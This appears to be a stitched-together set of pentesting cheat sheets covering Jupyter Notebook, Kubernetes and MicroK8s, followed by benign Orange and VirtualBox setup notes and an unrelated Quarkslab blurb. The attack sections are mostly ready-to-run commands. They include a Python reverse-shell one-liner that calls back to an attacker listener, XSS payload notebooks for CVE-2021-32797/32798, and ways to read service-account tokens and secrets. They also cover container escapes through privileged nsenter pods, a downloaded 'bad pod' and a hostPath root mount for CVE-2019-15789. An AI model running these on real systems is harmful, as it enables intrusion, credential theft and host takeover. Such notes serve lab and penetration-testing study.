Jupyter Notebook Pentesting

Jupyter notebook is a web-based interactive computing platform. It’s often used for machine learning, data science, etc. It runs locally at 127.0.0.1:8888 by default.

Run Notebook Server Locally

# For Jupyterlab (more advanced than notebook)
pip install jupyterlab
jupyter-lab
# Specify the token
jupyter-lab --NotebookApp.token=abcdef...

# For Notebook (classic)
pip install notebook
jupyter notebook
# Specify the token
jupyter notebook --NotebookApp.token=abcdef...

After that, we can access to http://127.0.0.1:8888/ in browser.

Authorization with Token

Reference: https://jupyter-notebook.readthedocs.io/en/stable/security.html

If we have the token for Jupyter notebook server, we can authorize it by adding the token in the “Authorization” HTTP header.

Authorization: token abcdef...

Or we can also add the token to URL parameter.

https://my-notebook/tree/?token=abcdef...

Or directly input the login form.

Common Directories

/api/kernelspecs

Remote Code Execution (RCE)

If the target machine opens the Jupyter notebook server then we can access to it from outside, we can simply execute arbitrary Python script in notebook. In short, we can get a shell by reverse shell!
First off, start a listener in local machine.

nc -lvnp 4444

After that, open some .ipynb file in Jupyter notebook top page, then input the following script and run.

import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1", 4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")

We should get a shell in local terminal.

.ipynb RCE (CVE-2021-32797, CVE-2021-32798)

Reference: https://github.com/google/security-research/security/advisories/GHSA-c469-p3jp-2vhx

We can inject arbitrary code in .ipynb file. Create the following file e.g. “exploit.ipynb” then upload it to Jupyter Notebook directory.

{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 0,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<select><iframe></select><img src=x: onerror=alert('xss')>\n"],
      "text/plain": []
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    ""
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.6"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}
{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<label for=buttonid style=\"cursor: text\">not safe to click here</label>\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "highlighter": "codemirror"
   },
   "source": "<div class=\"jp-InputArea-editor\"><div class=\"CodeMirror cm-s-jupyter\"><div class=\"CodeMirror-scroll\"><div class=\"CodeMirror-sizer\"><div style=\"top:0px; position:relative\"><div class=\"CodeMirror-lines\"><div style=\"outline:none; position:relative\"><div class=\"CodeMirror-code\"><div style=\"position: relative\"><label for=buttonid style=\"cursor: text\"><pre class=\"CodeMirror-line\" style=\"background:transparent\"><span style=\"padding-right: 0.1px\"><span class=\"cm-builtin\">print</span>(<span class=\"cm-string\">&quot;Also not safe to click here&quot;</span>)</span></pre></label></div></div></div></div></div></div></div></div></div>"
  },
  {
   "cell_type": "code",
   "execution_count": 0,
   "metadata": {
    "xrender": true
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "<form id=jp-mk-edit action='javascript:alert(1)' style='display:none'><button type=submit id=buttonid></form>\n"
      ],
      "text/plain": []
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": ""
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.6"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}

Kubernetes Pentesting

A portable, extensible, open source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. Default ports are 6443, 8443.

Check if the Kubectl Command Available in Target Machine

kubectl -h
k0s -h
k0s kubectl -h
microk8s kubectl -h

If we cannot find kubectl, upload the binary from local machine.
First off, install the kubectl in local machine.

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
python3 -m http.server

Then download the binary file into remote machine.

wget http://<local-ip>:8000/kubectl -O /tmp/kubectl
chmod +x /tmp/kubectl

Investigation From Inside

# Get JWT
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# if we find the token, decode it in https://jwt.io/

# Sensitive information in the directory
ls -a /var/lib/k0s/containerd/

# Check your permission
kubectl auth can-i --list
# /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list --token=<JWT>

# All information
kubectl get all

# Pods
kubectl get pods
# -A: List all pods across all namespaces
kubectl get pods -A
# Get the detail information abou the pod
# -o: Output format
kubectl get pod <pod-name> -o yaml
# Specify the namespace
kubectl get pod <pod-name> -n <namespace> -o yaml

# Jobs
kubectl get job -n <namespace>
# -o: Output details
kubectl get job -n <namespace> -o json

# Secrets
kubectl get secrets
kubectl get secrets -n <namespace>
# Get the specific secret
kubectl get secret <secret-name> -o json
kubectl get secret <secret-name> -n <namespace> -o json
# Edit the secret
kubectl edit secret <secret-name>
kubectl edit secret <secret-name> -n <namespace>
# List all data contained in the specific secret
kubectl describe secret <secret-name>
kubectl describe secret <secret-name> -n <namespace>


# Create a ServiceAccount
kubectl create serviceaccount api-explorer
# Bind the ClusterRole to the ServiceAccount
# eg. namespace: default
kubectl create rolebinding api-explorer:log-reader --clusterrole log-reader --serviceaccount default:api-explorer 

Investigation via Kubernetes API Server

If we get the JWT, we can fetch information by the following commans.

# -k: insecure (HTTPS)
curl -k -v -H "Authorization: Bearer <jwt-token>" https://<target-ip>:<target-port>/api/v1/namespaces/default/pods/
curl -k -v -H "Authorization: Bearer <jwt-token>" https://<target-ip>:<target-port>/api/v1/namespaces/default/secrets/

Privilege Escalation (Escape) using the Container Image

1. Get Information About the Target Pod

kubectl get pods
kubectl get pod <target-pod> -o yaml

kubectl describe pod <target-pod>

In the output, check the image name in the containers image.

2. Create a Pod Yaml File

Create "pod.yaml".
Replace the containers image value (\<image_name>) with the one we found in the previous section.

spec:
  hostPID: true
  containers:
    - name: '1'
      image: <image_name>
      command:
        - nsenter
        - '--mount=/proc/1/ns/mnt'
        - '--'
        - /bin/bash
  stdin: true
  tty: true
  securityContext:
    privileged: true

After that, convert the YAML to JSON using online tools such as the Online Converter.
In the tool, check the “Minimize JSON” to make the json to the one line.

3. Run the New Container to Privilege Escalation

Replace with \<image_name> with the one we found in the previous section.

kubectl run testbox --restart Never -it --rm --image newimage --overrides '{"spec":{"hostPID":true,"containers":[{"name":"1","image":"<image_name>","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin":true,"tty":true,"securityContext":{"privileged":true}}]}}'

Now we should escape the container and get a target shell.

Privilege Escalation using Bad Pods

Reference: everything-allowed-exec-pod.yaml

1. Download the Bad Pod

At first, you need to download the bad pod on your local machine.

wget https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml -O privesc.yaml

After downloading the yaml file, we need to replace the value of metadata.containers.image with the existing container image that we can find in the target container.
Then start web server to allow the target machine to get this bad pod.

python3 -m http.server 8000

2. Trasfer the Bad Pod to the Target Machine

On the target machine, download the bad pod from your local machine.

wget http://<your-local-ip>:8000/privesc.yaml

3. Create the Pod

# Create the pod
kubectl apply -f privesc.yaml --token=<JWT>

# List all pods
kubectl get pods --token=<JWT>

4. Get a Shell**

kubectl exec -it everything-allowed-exec-pod --token=<JWT> -- /bin/bash

We should get a shell and can investigate the mounted folder.

cd /host

MicroK8s Pentesting

MicroK8s is a small, fast, single-package Kubernetes for developers.

- [microk8s.io](https://microk8s.io/docs/services-and-ports)

Ports and Services

Docker Registry (port 32000)

It is the same as Docker Registry Pentesting .

Investigation from Inside

# Version
snap info microk8s

Privilege Escalation (CVE-2019-15789) ≤ 1.15.2

See the post for details.

1. Create a Pod Yaml File

Replace the value of spec.containers.image with the image which we found in target system.

apiVersion: v1
kind: Pod
metadata:
  name: hostmount
spec:
  containers:
  - name: shell
    image: ubuntu:latest
    command:
      - "bin/bash"
      - "-c"
      - "sleep 10000"
    volumeMounts:
      - name: root
        mountPath: /opt/root
  volumes:
  - name: root
    hostPath:
      path: /
      type: Directory

2. Apply the Yaml and Get a Root Shell

microk8s kubectl apply -f exploit.yaml
# "hostmount" is the value of the metadata.name in the exploit.yaml
microk8s kubectl exec -it hostmount /bin/bash

3. Explore Directories

After getting a shell, we can explore the directories under /opt/root which is mounted volume.

cd /opt/root

Orange Data Mining

Orange is a data-mining and machine learning software that allows users to analyze data, create visualizations, and build predictive models.

- [orange3](https://orange3.readthedocs.io/projects/orange-visual-programming/en/latest/index.html)

Installation & Start

To install Orange, we can install it with pip in Linux.

pip install PyQt5 PyQtWebEngine
pip install orange3

Basic Usage

1. Start Orange Software

python -m Orange.canvas

2. Open .OWS File

When the Orange starts, open the .ows file.

3. Import Data File

Add the File widget in the left pane, and import data file such as .csv.

4. Workflows

Connect the File widget with the Scatter Plot widget and open the Scatter Plot. We can see the data with plot.

VirtualBox Settings for NAT Network & Port Forwarding

In VirtuaoBox, we can connect between a Host OS and a Guest OS by setting NAT network and port forwarding.

1. Creat a New Network

  1. Open network settings in Tools menu.
  2. In General Options tab, fill each field as below. Regarding IPv4 Prefix field, we can see the IP address of local network by ip config command in Windows, or ip addr command inLinux. Here is the example.

    • Name: MyNetwork
    • IPv4 Prefix: 10.x.x.x/24 or 192.168.x..x/24

    Then uncheck Enable DHCP to set static ip address.

  3. In Port Forwarding tab, set ip/port for each guest OS. Here is the example.

    • Name: Guest 1
    • Protocol: TCP
    • Host IP: (empty)
    • Host Port: 9999 (note that this value must not duplicate the other Host Port in other guest OS line)
    • Guest IP: 192.168.11.100
    • Guest Port: 1234

2. Set the Network to Each Guest OS Network

  1. Open settings in guest OS.
  2. In Network configuration, select NAT Network and set the network name (e.g. MyNetwork) which has been created the previous section.

3. Set Static IP Address in Guest OS

Now start the guest OS in VirtualBox.
Since we disabled DHCP, we need to set static IP address attached for the guest as it was set in Port Forwarding settings of Network configurations.

Linux

Below is the Parrot OS example.

  1. Right-click on the network icon at the top-right on screen.
  2. Select a connection name and click on the settings icon at the bottom.
  3. Go to IPv4 Settings tab, select Manual in Method menu. Then fill each field as below. These values should be matched as the previous network settings for the guest OS.

    • Address: 192.168.11.100
    • Netmask: 24
    • Gateway: 192.168.11.1
    • DNS servers: 192.168.11.1 (or public DNS server ip like 8.8.8.8)

Windows

  1. Open Settings.
  2. Go to Network and Internet settings.
  3. Click current connection.
  4. Click Edit in the IP settings.
  5. Select Manual and enable the IPv4 switch.
  6. Fill each field. Please see the above (Parrot OS) section to check each value.
  7. Click Save.

4. Connect From Host to Guest

Finally, we can connect to the guest OS from our host. For example,

HTTP

# In guest OS, start web server on port 1234.
python3 -m http.server 1234

# In host OS, we can access to the web server on local port 9999.
curl http://localhost:9999

SSH

# In guest OS, start SSH server on port 1234.
sudo vim /etc/ssh/sshd_config # edit port number to 1234 from the default port 22.
sudo systemctl start ssh

# In host OS, we can connect SSH on local port 9999
ssh parrot@localhost -p 9999

5. Connect From Guest to Host

To connect to host OS from the guest, we can achieve by follow.

HTTP

# In host OS, start web server on arbitrary port
python3 -m http.server 8000

# In guest OS, we can access to the web server by specifying the second ip address (x.x.x.2) in local network.
curl http://192.168.11.2:8000
QUARKSLAB is a research company specialized in cutting edge solutions to complex security problems. We provide innovative, efficient and practical solutions based on profound knowledge and years of experience in the field.

- http://www.quarkslab.com/

Virtual machine templates for Windows - https://github.com/quarkslab/windows